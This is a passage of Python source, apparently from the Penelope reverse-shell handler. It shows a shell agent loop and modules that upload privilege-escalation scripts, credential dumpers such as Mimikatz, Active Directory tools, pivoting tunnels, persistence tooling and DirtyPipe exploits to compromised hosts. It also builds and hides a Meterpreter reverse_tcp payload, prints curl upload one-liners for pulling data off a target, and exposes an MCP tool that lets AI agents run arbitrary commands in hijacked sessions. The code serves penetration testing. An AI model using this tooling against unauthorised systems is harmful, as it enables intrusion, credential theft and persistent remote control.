e.args[0] in (errno.EAGAIN, errno.EWOULDBLOCK): continue data = ''.encode() respond(data, Messenger.SHELL) if not data: rlist.remove(master_fd) try: os.close(master_fd) except: pass elif readable is pty.STDIN_FILENO: try: data = os.read(pty.STDIN_FILENO, NET_BUF_SIZE) except OSError: e = sys.exc_info()[1] if e.args and e.args[0] in (errno.EAGAIN, errno.EWOULDBLOCK): continue data = None if not data: rlist.remove(pty.STDIN_FILENO) break messages = messenger.feed(data) for _type, _value in messages: if _type == Messenger.SHELL: ttybuf.seek(0, 2) ttybuf.write(_value) if not master_fd in wlist: wlist.append(master_fd) elif _type == Messenger.RESIZE: fcntl.ioctl(master_fd, termios.TIOCSWINSZ, _value) elif _type == Messenger.EXEC: sb = str(Messenger.STREAM_BYTES) header_size = 1 + int(sb) * 3 __type, stdin_stream_id, stdout_stream_id, stderr_stream_id = struct.unpack( '!c' + (sb + 's') * 3, _value[:header_size] ) cmd = _value[header_size:] if not stdin_stream_id in streams: streams[stdin_stream_id] = Stream(stdin_stream_id) if not stdout_stream_id in streams: streams[stdout_stream_id] = Stream(stdout_stream_id) if not stderr_stream_id in streams: streams[stderr_stream_id] = Stream(stderr_stream_id) stdin_stream = streams[stdin_stream_id] stdout_stream = streams[stdout_stream_id] stderr_stream = streams[stderr_stream_id] rlist.append(stdout_stream) rlist.append(stderr_stream) if __type == 'S'.encode(): pid = os.fork() if pid == 0: os.dup2(stdin_stream._read, 0) os.dup2(stdout_stream._write, 1) os.dup2(stderr_stream._write, 2) os.execl("{}", "sh", "-c", cmd) os._exit(1) stdin_stream.close_read() stdout_stream.close_write() stderr_stream.close_write() elif __type == 'P'.encode(): def run(stdin_stream, stdout_stream, stderr_stream): try: {} except: stderr_stream << (str(sys.exc_info()[1]) + "\n").encode() stdin_stream.close_read() stdin_stream << "".encode() streams.pop(stdin_stream.id, None) stdout_stream << "".encode() stderr_stream << "".encode() threading.Thread(target=run, args=(stdin_stream, stdout_stream, stderr_stream)).start() # Incoming streams elif _type == Messenger.STREAM: stream_id, data = _value[:Messenger.STREAM_BYTES], _value[Messenger.STREAM_BYTES:] target_stream = streams.get(stream_id) if target_stream is not None: target_stream << data if not data: streams.pop(stream_id, None) # Outgoing streams else: data = readable.read(NET_BUF_SIZE) readable.write(data) if not data: rlist.remove(readable) del streams[readable.id] else: for writable in wfds: if writable is pty.STDOUT_FILENO: sendbuf = outbuf wlock.acquire() elif writable is master_fd: sendbuf = ttybuf try: sent = os.write(writable, sendbuf.getvalue()) except OSError: e = sys.exc_info()[1] if not (e.args and e.args[0] in (errno.EAGAIN, errno.EWOULDBLOCK)): wlist.remove(writable) if sendbuf is outbuf: wlock.release() continue sendbuf.seek(sent) remaining = sendbuf.read() sendbuf.seek(0) sendbuf.truncate() sendbuf.write(remaining) if not remaining: wlist.remove(writable) if sendbuf is outbuf: wlock.release() continue break except: _, e, t = sys.exc_info() import traceback traceback.print_exc() traceback.print_stack() try: os.close(master_fd) except: pass os._exit(0) def upload_extracted_archive(session, url, name, flatten=False, remote_path=None): _, archive = url_to_bytes(url) if not archive: logger.error(f"Failed to download {name}") return False with tempfile.TemporaryDirectory(prefix="extract_") as tmpdir: if flatten: with zipfile.ZipFile(io.BytesIO(archive)) as z: z.extractall(tmpdir) entries = list(Path(tmpdir).iterdir()) if not entries: logger.error(f"{name} archive was empty") return False folder = entries[0].parent / name os.rename(entries[0], folder) else: folder = Path(tmpdir) / name folder.mkdir(parents=True, exist_ok=True) with zipfile.ZipFile(io.BytesIO(archive)) as z: z.extractall(folder) return session.upload(str(folder), remote_path=remote_path) def upload_single_from_archive(session, url, member, arcname, remote_path=None): _, archive = url_to_bytes(url) if not archive: logger.error(f"Failed to download {arcname}") return False buf = io.BytesIO(archive) if member is None: # single-stream gzip with gzip.GzipFile(fileobj=buf, mode="rb") as g: data = g.read() elif zipfile.is_zipfile(buf): buf.seek(0) with zipfile.ZipFile(buf) as z: try: data = z.read(member) except KeyError: logger.error(f"File '{member}' not found in downloaded archive") return False else: # tar.gz buf.seek(0) with tarfile.open(fileobj=buf, mode="r:gz") as tf: try: f = tf.extractfile(tf.getmember(member)) except KeyError: f = None if f is None: logger.error(f"File '{member}' not found in downloaded archive") return False data = f.read() return session.upload(url, url_to_bytes_fn=lambda x: (arcname, data), remote_path=remote_path) def modules(): return {module.__name__:module for module in Module.__subclasses__()} class Module: enabled = True on_session_start = False on_first_attach = False on_session_end = False category = "Misc" class upload_privesc_scripts(Module): category = "Privilege Escalation" def run(session, args): """ Upload {linpeas, lse, deepce, pspy || winpeas, powerup, privesccheck, fullpowers, enablealltokenprivs} Example: upload_privesc_scripts winpeas upload_privesc_scripts linpeas pspy64 """ if not session.write_access(session.cwd): return requested = args.split() if args else [] if session.OS == 'Unix': tools = { "linpeas": lambda: session.upload(URLS['linpeas']), "lse": lambda: session.upload(URLS['lse']), "deepce": lambda: session.upload(URLS['deepce']), "pspy": lambda: ( session.upload(URLS['pspy64']) if session.arch == "x86_64" else session.upload(URLS['pspy32']) if session.arch in ("i386", "i686") else logger.error("pspy: No compatible binary architecture \n") ) } elif session.OS == 'Windows': tools = { "winpeas": lambda: session.upload(URLS['winpeas_any']), "winpeas_bat": lambda: session.upload(URLS['winpeas_bat']), "powerup": lambda: session.upload(URLS['powerup']), "privesccheck": lambda: session.upload(URLS['privesccheck']), "fullpowers": lambda: session.upload(URLS['fullpowers']), "enablealltokenprivs": lambda: session.upload(URLS['enablealltokenprivs']), } else: logger.error(f"Unsupported OS: {session.OS}") return if not requested: logger.info("No tools specified, uploading all") print() requested = list(tools.keys()) for tool in requested: if session.OS == 'Unix' and tool in ["winpeas", "winpeas_bat", "powerup", "privesccheck", "fullpowers", "enablealltokenprivs"]: logger.warning(f"{tool} is not available on Unix targets") continue if session.OS == 'Windows' and tool in ["linpeas", "lse", "deepce", "pspy"]: logger.warning(f"{tool} is not available on Windows targets") continue if tool not in tools: logger.error(f"Unknown tool: {tool}") continue try: tools[tool]() except Exception as e: logger.error(f"Failed to upload {tool}: {e}") class upload_potato(Module): category = "Privilege Escalation" def run(session, args): """ Upload {GodPotato, SigmaPotato, PrintSpoofer} Example: potato GodPotato """ if not session.write_access(session.cwd): return requested = args.split() if args else [] if session.OS == "Unix": logger.error("This module runs only on Windows shells") return elif session.OS == "Windows": tools = { "GodPotato": lambda: session.upload(URLS['godpotato']), "SigmaPotato": lambda: session.upload(URLS['sigmapotato']), "PrintSpoofer": lambda: ( session.upload(URLS['printspoofer64']) if session.arch == "x64-based_PC" else session.upload(URLS['printspoofer32']) if session.arch == "x86-based_PC" else logger.error("PrintSpoofer: No predefined binary to upload") ), } else: logger.error(f"Unsupported OS: {session.OS}") return if not requested: logger.info("No tools specified, uploading all") print() requested = list(tools.keys()) for tool in requested: if tool not in tools: logger.error(f"Unknown tool: {tool}") continue try: tools[tool]() except Exception as e: logger.error(f"Failed to upload {tool}: {e}") class peass_ng(Module): category = "Privilege Escalation" def run(session, args): """ Run the latest version of PEASS-ng in the background """ if session.OS == 'Unix': session.script(URLS['linpeas']) elif session.OS == 'Windows': logger.error("This module runs only on Unix shells") while True: answer = ask(f"Use {paint('upload_privesc_scripts').LIGHTGREY_black}{paint(' instead? (Y/n): ').yellow}").lower() if answer in ('y', ''): menu.do_run('upload_privesc_scripts') break elif answer == 'n': break class lse(Module): category = "Privilege Escalation" def run(session, args): """ Run the latest version of linux-smart-enumeration in the background """ if session.OS == 'Unix': session.script(URLS['lse']) else: logger.error("This module runs only on Unix shells") class linuxexploitsuggester(Module): category = "Privilege Escalation" def run(session, args): """ Run the latest version of linux-exploit-suggester in the background """ if session.OS == 'Unix': session.script(URLS['les']) else: logger.error("This module runs only on Unix shells") class traitor(Module): category = "Privilege Escalation" def run(session, args): """ Upload Traitor """ if session.OS == 'Unix': if session.arch == "x86_64": session.upload(URLS['traitor_amd64']) elif session.arch in ("i386", "i686"): session.upload(URLS['traitor_386']) elif session.arch in ("aarch64", "arm64"): session.upload(URLS['traitor_arm64']) else: logger.error("Traitor: No compatible binary architecture") print() elif session.OS == 'Windows': logger.error("This module runs only on Unix shells") class upload_credump_scripts(Module): category = "Credential Dumping" def run(session, args): """ Upload {Mimikatz, LaZagne, Snaffler, SharpWeb} """ if not session.write_access(session.cwd): return if session.OS == 'Unix': logger.error("This module runs only on Windows shells") if session.OS == 'Windows': requested = [t.lower() for t in args.split()] if args else [] tools = { "mimikatz": lambda session: upload_extracted_archive(session, URLS['mimikatz'], "mimikatz"), "lazagne": lambda session: session.upload(URLS['lazagne']), "snaffler": lambda session: session.upload(URLS['snaffler']), "sharpweb": lambda session: session.upload(URLS['sharpweb']) } if not requested: logger.info("No tools specified, uploading all") print() requested = list(tools.keys()) for tool in requested: if tool not in tools: logger.error(f"Unknown tool: {tool}") continue try: tools[tool](session) except Exception as e: logger.error(f"Failed to upload {tool}: {e}") class upload_ad_scripts(Module): category = "Active Directory" def run(session, args): """ Upload {PowerView, SharpHound, GhostPack, adPEAS} """ if not session.write_access(session.cwd): return if session.OS == 'Unix': logger.error("This module runs only on Windows shells") if session.OS == 'Windows': requested = [t.lower() for t in args.split()] if args else [] tools = { "powerview": lambda session: session.upload(URLS['powerview']), "sharphound": lambda session: upload_extracted_archive(session, URLS['sharphound'], "sharphound"), "ghostpack": lambda session: upload_extracted_archive(session, URLS['ghostpack'], "ghostpack", flatten=True), "adpeas": lambda session: session.upload(URLS['adpeas']), } if not requested: logger.info("No tools specified, uploading all") print() requested = list(tools.keys()) for tool in requested: if tool not in tools: logger.error(f"Unknown tool: {tool}") continue try: tools[tool](session) except Exception as e: logger.error(f"Failed to upload {tool}: {e}") class uac(Module): category = "Forensics" def run(session, args): """ Collect forensic artifacts using Unix-like Artifacts Collector in the background """ if session.OS == 'Unix': if not session.system == 'Linux': logger.error(f"This modules runs only on Linux, not on {session.system}.") return False if not session.exec_tmp: logger.error("No writable+executable directory on the target (noexec?)") return False uploaded = session.upload(URLS['uac_linux'], remote_path=session.exec_tmp) if not uploaded: logger.error("Failed to upload UAC") return False path = uploaded[0] result = session.exec(f"tar xf {path} -C {session.exec_tmp} >/dev/null", value=True) if not result: session.exec(f"rm -f {path}") logger.info(f"UAC successfully extracted on {session.exec_tmp}") else: logger.error(f"Extraction to {session.exec_tmp} failed:\n{indent(result, ' ' * 4 + '- ')}") return False # UAC artifacts or profiles can be set by changing the arguments, e.g.: /uac -u -a './artifacts/live_response/network*' --output-format tar {session.tmp} logger.info(f"root user check is disabled. Data collection may be limited. It will WRITE the output on the remote file system.") base = re.sub(r'\.tar\.gz$', '', path) session.uploaded_paths[base] = int(time.time()) cmd = f"cd {base}; ./uac -u -p ir_triage --output-format tar {session.tmp}" #session.exec(cmd) fd, tf = tempfile.mkstemp(prefix="penelope-", suffix=".sh") with os.fdopen(fd, "w") as f: f.write("#!/bin/sh\n") f.write(cmd) logger.info(f"UAC output will be stored at {session.tmp}/uac-%hostname%-%os%-%timestamp%") session.script(tf) # Once completed, transfer the output files to your host else: logger.error("This module runs only on Unix shells") class linux_procmemdump(Module): category = "Forensics" def run(session, args): """ Dump process memory in the background (requires root) """ if session.OS == 'Unix': if not session.system == 'Linux': logger.error(f"This modules runs only on Linux, not on {session.system}.") return False if not session.exec_tmp: logger.error("No writable+executable directory on the target (noexec?)") return False session.upload(URLS['linux_procmemdump'], remote_path=session.exec_tmp) print(session.exec(f"ps -eo pid,cmd", value=True)) logger.info(f"Please provide the PID of the process to be acquired:") PID = input("PID: ") session.exec(f"{session.exec_tmp}/linux_procmemdump.sh -p {PID} -s -d {session.tmp}") logger.info(f"Strings of the process dump will be stored at {session.tmp}/{PID}/") else: logger.error("This module runs only on Unix shells") class ligolo(Module): category = "Pivoting" def run(session, args): """ Upload Ligolo-ng agent """ if session.OS == 'Unix': if session.arch == "x86_64": url = URLS['ligolo_amd64'] elif session.arch in ("aarch64", "arm64"): url = URLS['ligolo_arm64'] else: logger.error("Ligolo-ng: No predefined binary to upload.") print() return upload_single_from_archive(session, url, "agent", "agent") elif session.OS == 'Windows': if session.arch == "x64-based_PC": url = URLS['ligolo_win64'] else: logger.error("Ligolo-ng: No predefined binary to upload.") print() return upload_single_from_archive(session, url, "agent.exe", "agent.exe") class chisel(Module): category = "Pivoting" def run(session, args): """ Upload Chisel """ if session.OS == 'Unix': if session.arch == "x86_64": url = URLS['chisel_amd64'] elif session.arch in ("i386", "i686"): url = URLS['chisel_386'] elif session.arch in ("aarch64", "arm64"): url = URLS['chisel_arm64'] else: logger.error("Chisel: No predefined binary to upload.") print() return upload_single_from_archive(session, url, None, "chisel") elif session.OS == 'Windows': if session.arch == "x64-based_PC": url = URLS['chisel_winamd64'] elif session.arch == "x86-based_PC": url = URLS['chisel_win386'] else: logger.error("Chisel: No predefined binary to upload.") print() return upload_single_from_archive(session, url, "chisel.exe", "chisel.exe") class ngrok(Module): category = "Pivoting" def run(session, args): """ Setup and create a TCP tunnel using ngrok """ if session.OS == 'Unix': if not session.system == 'Linux': logger.error(f"This modules runs only on Linux, not on {session.system}.") return False if not session.exec_tmp: logger.error("No writable+executable directory on the target (noexec?)") return False if session.arch != 'x86_64': logger.error(f"No prebuilt ngrok binary for arch '{session.arch}'") return False uploaded = upload_single_from_archive(session, URLS['ngrok_linux'], "ngrok", "ngrok", remote_path=session.exec_tmp) if not uploaded: logger.error("Failed to upload ngrok") return False token = input("Authtoken: ") session.exec(f"{session.exec_tmp}/ngrok config add-authtoken {token}") logger.info("Provide a TCP port number to be exposed in ngrok cloud:") tcp_port = input("tcp_port: ") #logger.info("Indicate if a TCP or an HTTP tunnel is required?:") #tunnel = input("tunnel: ") cmd = f"cd {session.exec_tmp}; ./ngrok tcp {tcp_port} --log=stdout" print(cmd) #session.exec(cmd) fd, tf = tempfile.mkstemp(prefix="penelope-", suffix=".sh") with os.fdopen(fd, "w") as f: f.write("#!/bin/sh\n") f.write(cmd) logger.info(f"ngrok session open") session.script(tf) else: logger.error("This module runs only on Unix shells") class panix(Module): category = "Persistence" def run(session, args): """ Upload PANIX """ if session.OS == 'Unix': session.upload(URLS['panix']) else: logger.error("This module runs only on Unix shells") class upload_local_exploits(Module): category = "Privilege Escalation" def dirtyfrag(session): if session.system != "Linux": logger.error("This module runs only on Linux shells") return uploaded = session.upload(URLS['dirtyfrag']) if not uploaded: logger.error("Failed to upload DirtyFrag") return logger.info("DirtyFrag uploaded. Compile on target: gcc exp.c -o exp") def dirtypipe(session): if session.system != "Linux": logger.error("This module runs only on Linux shells") return if not upload_extracted_archive(session, URLS['dirtypipe_zip'], "dirtypipe", flatten=True): return logger.info("DirtyPipe uploaded. Compile on target: cd dirtypipe && gcc exploit-1.c -o exploit-1 || gcc exploit-2.c -o exploit-2") def run(session, args): """ Upload local exploits {DirtyFrag, DirtyPipe} """ if not session.write_access(session.cwd): return requested = [t.lower() for t in args.split()] if args else [] tools = { "dirtypipe": __class__.dirtypipe, "dirtyfrag": __class__.dirtyfrag } if not requested: logger.warning(f"Please choose an exploit: {list(tools.keys())}") for tool in requested: if tool not in tools: logger.error(f"Unknown tool: {tool}") continue try: tools[tool](session) except Exception as e: logger.error(f"Failed to upload {tool}: {e}") class meterpreter(Module): def run(session, args): """ Spawn a Meterpreter session """ if session.OS == 'Unix': logger.error("This module runs only on Windows shells") return if not shutil.which("msfvenom"): logger.error("'msfvenom' not found locally. Install Metasploit to use this module.") return if not shutil.which("msfconsole"): logger.warning("'msfconsole' not found locally; you'll need to start the handler manually") parser = ArgumentParser(prog="meterpreter", description="Spawn a Meterpreter session") parser.add_argument("-p", "--port", type=int, default=5555, help="Handler/LPORT (default: 5555)") parser.add_argument("-H", "--host", "--lhost", default=None, help="LHOST (default: jump host if set, else the session's local address)") try: opts = parser.parse_args(shlex.split(args) if args else []) except SystemExit: return host, port = opts.host, opts.port if not (0 < port < 65536): logger.error(f"Invalid port: {port}") return if host is None: if session.listener and session.listener.jump: if len(session.listener.jump) == 1: host = session.listener.jump[0][0] else: [print(f"* {j[0]}:{j[1]}") for j in session.listener.jump] while True: e = ask("Endpoint (host:port): ") host = e.split(":")[0].strip() if host: break logger.error(f"Invalid endpoint: {e}") else: host = session._host arch = 'x64/' if session.arch == "x64-based_PC" else '' with tempfile.TemporaryDirectory(prefix="penelope-msf-") as tmpdir: payload_path = os.path.join(tmpdir, f"{rand(10)}.exe") logger.info("Creating payload...") payload_creation_cmd = ["msfvenom", "-p", f"windows/{arch}meterpreter/reverse_tcp", f"LHOST={host}", f"LPORT={port}", "-f", "exe", "-o", payload_path] print(payload_creation_cmd) result = subprocess.run(payload_creation_cmd, universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) if result.returncode != 0: logger.error(f"Cannot create meterpreter payload: {result.stderr}") return logger.info("Payload created!") uploaded_path = session.upload(payload_path, session.tmp) if uploaded_path: meterpreter_handler_cmd = ( 'msfconsole -x "use exploit/multi/handler; ' f'set payload windows/{arch}meterpreter/reverse_tcp; ' f'set LHOST {host}; set LPORT {port}; run"' ) Open(meterpreter_handler_cmd, terminal=True) logger.info("Starting handler...") print(meterpreter_handler_cmd) if session.subtype == 'psh': session.exec(f'Start-Process -WindowStyle Hidden "{uploaded_path[0]}"') else: session.exec(f'start /b "" "{uploaded_path[0]}"') class cleanup(Module): def run(session, args): """ Remove uploaded files and directories from the target """ for item in list(session.uploaded_paths.keys()): p = item.strip('"').strip("'") if session.OS == 'Unix': response = session.exec(f'[ -e "{p}" ] && echo "exists" || echo "no"', value=True) if response == 'exists': response = session.exec(f'rm -rf -- "{p}";echo $?', value=True) if response == '0': logger.info(f"Deleted '{p}'") del session.uploaded_paths[item] else: logger.error(f"Error deleting '{p}'") else: logger.debug(f"'{p}' already gone") del session.uploaded_paths[item] else: response = session.exec(f'cmd /Q /D /C if exist "{p}" (echo exists) else (echo no)', force_cmd=True, value=True) if response == 'exists': if session.subtype == 'cmd': session.exec(f'set "RM_PATH={p}"') elif session.subtype == 'psh': session.exec(f'$env:RM_PATH = "{p}"') session.exec( 'cmd /Q /D /C if exist "%RM_PATH%\\*" (rd /s /q "%RM_PATH%") else (del /f /q "%RM_PATH%")', value=True, force_cmd=True ) deleted = session.exec( 'cmd /Q /D /C if exist "%RM_PATH%" (echo 1) else (echo 0)', value=True, force_cmd=True ) if deleted == '0': logger.info(f"Deleted '{p}'") del session.uploaded_paths[item] else: logger.error(f"Error deleting '{p}'") else: logger.debug(f"'{p}' already gone") del session.uploaded_paths[item] class FileServer: def __init__(self, *items, port=None, host=None, url_prefix=None, quiet=False, upload=False, upload_dir=None): self.port = options.default_fileserver_port if port is None else port self.host = host or options.default_interface self.host = Interfaces().translate(self.host) self.items = items self.url_prefix = url_prefix + '/' if url_prefix else '' self.quiet = quiet self.upload = upload self.upload_dir = os.path.abspath(normalize_path(upload_dir)) if upload_dir else os.getcwd() self.init = threading.Event() self.term = threading.Event() self.filemap = {} for item in self.items: self.add(item) def add(self, item): if item == '/': self.filemap[f'/{self.url_prefix}[root]'] = '/' return '/[root]' item = os.path.abspath(normalize_path(item)) if not os.path.exists(item): if not self.quiet: logger.warning(f"'{item}' does not exist and will be ignored.") return None if item in self.filemap.values(): for _urlpath, _item in self.filemap.items(): if _item == item: return _urlpath urlpath = f"/{self.url_prefix}{os.path.basename(item)}" while urlpath in self.filemap: root, ext = os.path.splitext(urlpath) urlpath = root + '_' + ext self.filemap[urlpath] = item return urlpath def remove(self, item): item = os.path.abspath(normalize_path(item)) for urlpath, filepath in self.filemap.items(): if filepath == item: del self.filemap[urlpath] return if not self.quiet: logger.warning(f"{item} is not served.") @property def links(self): output = [] ips = [self.host] if self.host == '0.0.0.0': ips = Interfaces().ips for ip in ips: output.extend(('', f'{EMOJIS["home"]} http://' + str(paint(ip).cyan) + ":" + str(paint(self.port).orange) + '/' + self.url_prefix)) if self.upload: url = f"http://{ip}:{self.port}/{self.url_prefix}" linux_cmd = f" curl {url} -T " win_cmd = f"(New-Object Net.WebClient).UploadFile('{url}','POST','')" output.append(f'⬆ Upload enabled -> {paint(self.upload_dir).green}') output.append(f" Linux : {linux_cmd}") output.append(f" Windows : {win_cmd}") table = Table(joinchar=' -> ') for urlpath, filepath in self.filemap.items(): table += ( paint(f"{EMOJIS['folder'] if os.path.isdir(filepath) else EMOJIS['file']} ").green + paint(f"http://{ip}:{self.port}{urlpath}").white_BLUE, filepath ) table_str = str(table) if table_str: output.append(table_str) output.append("─" * len(output[1])) return '\n'.join(output) def start(self): threading.Thread(target=self._start).start() def _start(self): filemap, host, port, url_prefix, quiet = self.filemap, self.host, self.port, self.url_prefix, self.quiet upload, upload_dir = self.upload, self.upload_dir class CustomTCPServer(socketserver.ThreadingTCPServer): allow_reuse_address = True daemon_threads = True block_on_close = False def __init__(self, *args, **kwargs): self.client_sockets = [] super().__init__(*args, **kwargs) @handle_bind_errors def server_bind(self, host, port): self.server_address = (host, int(port)) super().server_bind() def process_request(self, request, client_address): self.client_sockets.append(request) super().process_request(request, client_address) def shutdown(self): for sock in self.client_sockets: try: sock.shutdown(socket.SHUT_RDWR) sock.close() except OSError: pass super().shutdown() from http.server import SimpleHTTPRequestHandler class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self): try: if self.path == '/' + url_prefix: from html import escape response = '' if upload: response += ( '
' '' '

' ) for path in list(filemap.keys()): safe_path = escape(path) response += f'
  • {safe_path}
  • ' response = response.encode() self.send_response(200) self.send_header("Content-type", "text/html") self.send_header("Content-Length", str(len(response))) self.end_headers() self.wfile.write(response) else: super().do_GET() except Exception as e: logger.error(e) def _save_upload(self, filename, data): filename = os.path.basename((filename or '').replace('\\', '/')).lstrip('.') or f"upload_{int(time.time())}" os.makedirs(upload_dir, exist_ok=True) base, ext = os.path.splitext(os.path.join(upload_dir, filename)) dest = base + ext while True: try: fd = os.open(dest, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644) break except FileExistsError: base += '_' dest = base + ext with os.fdopen(fd, 'wb') as f: f.write(data or b'') if not quiet: logger.info( f"{paint('[').white}{paint(self.log_date_time_string()).magenta}] " f"FileServer({host}:{port}) [{paint(self.address_string()).cyan}] " f"{paint('⬆ UPLOAD').yellow} -> {paint(dest).green} " f"({paint(str(len(data or b''))).orange} bytes)" ) return dest def _read_body(self): length = int(self.headers.get('Content-Length', 0) or 0) if length < 0: raise ValueError(f"Negative Content-Length ({length})") if not length: return b'' data = self.rfile.read(length) if len(data) != length: raise ValueError(f"Truncated upload: {len(data)} of {length} bytes") return data def _reject_upload(self, method): self.send_error(501, f"Unsupported method ('{method}')") def do_PUT(self): if not upload: return self._reject_upload('PUT') try: self._save_upload(unquote(self.path), self._read_body()) self.send_response(201) self.send_header("Content-Length", "0") self.end_headers() except Exception as e: logger.error(e) self.send_error(500) def do_POST(self): if not upload: return self._reject_upload('POST') try: ctype = self.headers.get('Content-Type', '') body = self._read_body() saved = [] if ctype.startswith('multipart/form-data'): import email msg = email.message_from_bytes( b'Content-Type: ' + ctype.encode() + b'\r\nMIME-Version: 1.0\r\n\r\n' + body ) for part in msg.walk(): fname = part.get_filename() if fname: saved.append(self._save_upload(fname, part.get_payload(decode=True))) else: saved.append(self._save_upload(unquote(self.path), body)) if ctype.startswith('multipart/form-data'): self.send_response(303) self.send_header("Location", '/' + url_prefix) self.send_header("Content-Length", "0") self.end_headers() else: msg = ('\n'.join(os.path.basename(p) for p in saved) + '\n').encode() self.send_response(201) self.send_header("Content-Length", str(len(msg))) self.end_headers() self.wfile.write(msg) except Exception as e: logger.error(e) self.send_error(500) def translate_path(self, path): path = path.split('?', 1)[0] path = path.split('#', 1)[0] try: path = unquote(path, errors='surrogatepass') except UnicodeDecodeError: path = unquote(path) path = os.path.normpath(path) for urlpath, filepath in list(filemap.items()): if path == urlpath: return filepath elif path.startswith(urlpath + '/'): relpath = path[len(urlpath):].lstrip('/') return os.path.join(filepath, relpath) return "" def log_message(self, format, *args): if quiet: return None message = format % args control_char_table = getattr(self, '_control_char_table', HTTP_CONTROL_CHAR_TABLE) response = message.translate(control_char_table).split(' ') if len(response) < 4 or not response[0].startswith('"'): return if response[3][0] == '3': color = 'yellow' elif response[3][0] in ('4', '5'): color = 'red' else: color = 'green' response = getattr(paint(f"{response[0]} {response[1]} {response[3]}\""), color) logger.info( f"{paint('[').white}{paint(self.log_date_time_string()).magenta}] " f"FileServer({host}:{port}) [{paint(self.address_string()).cyan}] {response}" ) with CustomTCPServer((self.host, self.port), CustomHandler, bind_and_activate=False) as self.httpd: if not self.httpd.server_bind(self.host, self.port): self.init.set() return False self.port = self.httpd.server_address[1] self.httpd.server_activate() self.id = core.new_fileserverID core.fileservers[self.id] = self if not quiet: print(self.links) self.init.set() self.httpd.serve_forever() def stop(self): if hasattr(self, 'id'): del core.fileservers[self.id] if not self.quiet: logger.warning(f"Shutting down Fileserver #{self.id}") self.httpd.shutdown() self.term.set() class MCPServer: PROTOCOL_VERSIONS = ('2025-06-18', '2025-03-26', '2024-11-05') MAX_OUTPUT = 10 * 1024 ** 2 TOOLS = [ {'name': 'list_sessions', 'description': 'List all active reverse-shell sessions in Penelope.', 'inputSchema': {'type': 'object', 'properties': {}, 'required': []}, 'annotations': {'title': 'List sessions', 'readOnlyHint': True, 'openWorldHint': True}}, {'name': 'get_session_info', 'description': 'Detailed info about one session (OS, shell, user, hostname, cwd, arch).', 'inputSchema': {'type': 'object', 'properties': {'session_id': {'type': 'integer', 'description': 'Numeric session ID.'}}, 'required': ['session_id']}, 'annotations': {'title': 'Get session info', 'readOnlyHint': True, 'openWorldHint': True}}, {'name': 'exec_in_session', 'description': 'Run a shell command in a session and return its output. WARNING: arbitrary command execution on the target.', 'inputSchema': {'type': 'object', 'properties': {'session_id': {'type': 'integer', 'description': 'Numeric session ID.'}, 'command': {'type': 'string', 'description': 'Shell command to run on the target.'}}, 'required': ['session_id', 'command']}, 'annotations': {'title': 'Exec in session', 'readOnlyHint': False, 'destructiveHint': True, 'openWorldHint': True}}, {'name': 'kill_session', 'description': 'Kill (close) a session. Returns once the kill is scheduled.', 'inputSchema': {'type': 'object', 'properties': {'session_id': {'type': 'integer', 'description': 'Numeric session ID.'}}, 'required': ['session_id']}, 'annotations': {'title': 'Kill session', 'readOnlyHint': False, 'destructiveHint': True, 'idempotentHint': True, 'openWorldHint': True}}, {'name': 'upload_to_session', 'description': 'Upload local file(s)/URL(s) to a session. local_path supports globs (shlex). remote_path defaults to session cwd.', 'inputSchema': {'type': 'object', 'properties': {'session_id': {'type': 'integer', 'description': 'Numeric session ID.'}, 'local_path': {'type': 'string', 'description': 'Local file path(s) or URL(s).'}, 'remote_path': {'type': 'string', 'description': 'Remote directory (optional).'}}, 'required': ['session_id', 'local_path']}, 'annotations': {'title': 'Upload to session', 'readOnlyHint': False, 'destructiveHint': True, 'openWorldHint': True}}, {'name': 'download_from_session', 'description': 'Download remote file(s) from a session (globs ok). Saved to the session downloads folder.', 'inputSchema': {'type': 'object', 'properties': {'session_id': {'type': 'integer', 'description': 'Numeric session ID.'}, 'remote_path': {'type': 'string', 'description': 'Remote file path(s) or glob(s).'}}, 'required': ['session_id', 'remote_path']}, 'annotations': {'title': 'Download from session', 'readOnlyHint': False, 'openWorldHint': True}}, ] def __init__(self, host='127.0.0.1', port=0, token=None): self.host = host self.port = port self.token = token or secrets.token_urlsafe(32) @staticmethod def config_path(): return options.basedir / 'mcp.json' @classmethod def load_config(cls): """Load persisted host/port/token, or {} if none/unreadable.""" try: with open(cls.config_path()) as f: cfg = json.load(f) return cfg if isinstance(cfg, dict) else {} except (OSError, ValueError): return {} def save_config(self): """Persist host/port/token (owner-only, created 0600).""" path = self.config_path() try: path.parent.mkdir(parents=True, exist_ok=True) fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) os.fchmod(fd, 0o600) with os.fdopen(fd, 'w') as f: json.dump({'host': self.host, 'port': self.port, 'token': self.token}, f) except OSError as e: logger.warning(f"Could not save MCP config to {path}: {e}") return self @staticmethod def _require_session(args): """Validate session_id and return the live Session, or raise ValueError.""" try: sid = int(args.get('session_id')) except (TypeError, ValueError, OverflowError): raise ValueError('session_id must be an integer') s = core.sessions.get(sid) if s is None: raise ValueError(f'session {sid} not found') return s def _tool_call(self, name, args): """Execute one MCP tool against live sessions. Raises ValueError on bad input.""" if name == 'list_sessions': return {'sessions': [{'id': s.id, 'name': s.name, 'ip': s.ip, 'port': s.port, 'OS': s.OS, 'type': s.type, 'subtype': s.subtype, 'user': s.user, 'source': s.source} for s in list(core.sessions.values())]} if name == 'get_session_info': s = self._require_session(args) return {'id': s.id, 'name': s.name, 'ip': s.ip, 'port': s.port, 'OS': s.OS, 'type': s.type, 'subtype': s.subtype, 'user': s.user, 'source': s.source, 'hostname': s.hostname, 'system': s.system, 'arch': s.arch, 'cwd': s.cwd} if name == 'exec_in_session': s = self._require_session(args) cmd = (args.get('command') or '').strip() if not cmd: raise ValueError('command is required') max_cmd = Messenger.MAX_PAYLOAD - 1 - 3 * Messenger.STREAM_BYTES cmd_len = len(cmd.encode()) if cmd_len > max_cmd: raise ValueError(f'command too long ({cmd_len} bytes, max {max_cmd})') result = s.exec(cmd, value=True) if result is False or result is None: return {'error': 'exec failed or session not ready'} return {'output': result} if name == 'kill_session': s = self._require_session(args) s.kill() return {'ok': True} if name == 'upload_to_session': s = self._require_session(args) local_path = (args.get('local_path') or '').strip() if not local_path: raise ValueError('local_path is required') if not s.agent and not s.has_persistent_shell: return {'error': 'this shell runs each command in a fresh process; ' 'file transfer needs a persistent shell. Run spawn first.'} uploaded = s.upload(local_path, remote_path=args.get('remote_path') or None) return {'uploaded': uploaded} if name == 'download_from_session': s = self._require_session(args) remote = (args.get('remote_path') or '').strip() if not remote: raise 